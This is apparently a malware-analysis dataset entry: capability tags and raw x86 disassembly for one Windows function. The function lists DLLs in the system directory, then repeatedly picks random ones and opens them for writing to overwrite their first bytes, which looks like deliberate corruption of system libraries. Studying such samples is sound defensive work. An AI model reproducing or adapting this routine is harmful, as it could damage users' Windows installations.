Function at 0x40d92e
Capabilities:
Enumerate files on windows
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x9dc0
call fcn.00408c40
push ebx
push esi
push edi
push 0x41
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x9dbf]
mov byte [ebp - 0x9dc0], bl
push 0x41
rep stosd dword es:[edi], eax
mov ecx, 0x25fa
lea edi, [ebp - 0x9cbb]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x287]
mov byte [ebp - 0x288], bl
rep stosd dword es:[edi], eax
push 0x41
lea edi, [ebp - 0x38f]
pop ecx
mov byte [ebp - 0x390], bl
rep stosd dword es:[edi], eax
mov esi, 0x105
lea eax, [ebp - 0x288]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40d9df
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x390]
push eax
call fcn.00403f50
lea eax, [ebp - 0x390]
push str..dll
push eax
call fcn.00403f60
add esp, 0x10
lea eax, [ebp - 0x4d0]
push eax
lea eax, [ebp - 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40d9e7
push 1
pop eax
jmp 0x40db69
lea eax, [ebp - 0x4a4]
push eax
lea eax, [ebp - 0x9dc0]
push eax
call fcn.00403f50
pop ecx
mov dword [ebp - 8], 1
pop ecx
lea edi, [ebp - 0x9cbb]
lea eax, [ebp - 0x4d0]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40da3a
lea eax, [ebp - 0x4a4]
push eax
push edi
call fcn.00403f50
inc dword [ebp - 8]
pop ecx
add edi, esi
cmp dword [ebp - 8], 0x96
pop ecx
jl 0x40da09
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call fcn.0040413e
push eax
call fcn.00418e6f
pop ecx
mov dword [ebp - 4], 0x1e
pop ecx
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x17f]
mov byte [ebp - 0x180], bl
rep stosd dword es:[edi], eax
call fcn.00418e7c
push 2
cdq
pop ecx
idiv ecx
mov edi, edx
call fcn.00418e7c
cdq
mov ecx, 0x96
idiv ecx
imul edx, edx, 0x105
lea esi, [ebp + edx - 0x9dc0]
cmp esi, ebx
je 0x40db5e
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x180]
push eax
call fcn.00403f50
lea eax, [ebp - 0x180]
push 0x4278a4
push eax
call fcn.00403f60
lea eax, [ebp - 0x180]
push esi
push eax
call fcn.00403f60
add esp, 0x18
cmp edi, ebx
je 0x40db12
push 0x18
xor eax, eax
pop ecx
lea edi, [ebp - 0x77]
mov byte [ebp - 0x78], bl
push 0x41f084
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x180]
push eax
call fcn.00418354
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x40db5e
push esi
lea eax, [ebp - 0x78]
push 0x63
push eax
call fcn.00418e0d
push esi
call fcn.004076c8
add esp, 0x10
jmp 0x40db5e
mov al, byte [0x446484]
lea edi, [ebp - 0x13]
mov byte [ebp - 0x14], al
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
push 0x80
push 3
push ebx
stosb byte es:[edi], al
push 3
lea eax, [ebp - 0x180]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40db5e
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x14]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
dec dword [ebp - 4]
jne 0x40da58
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret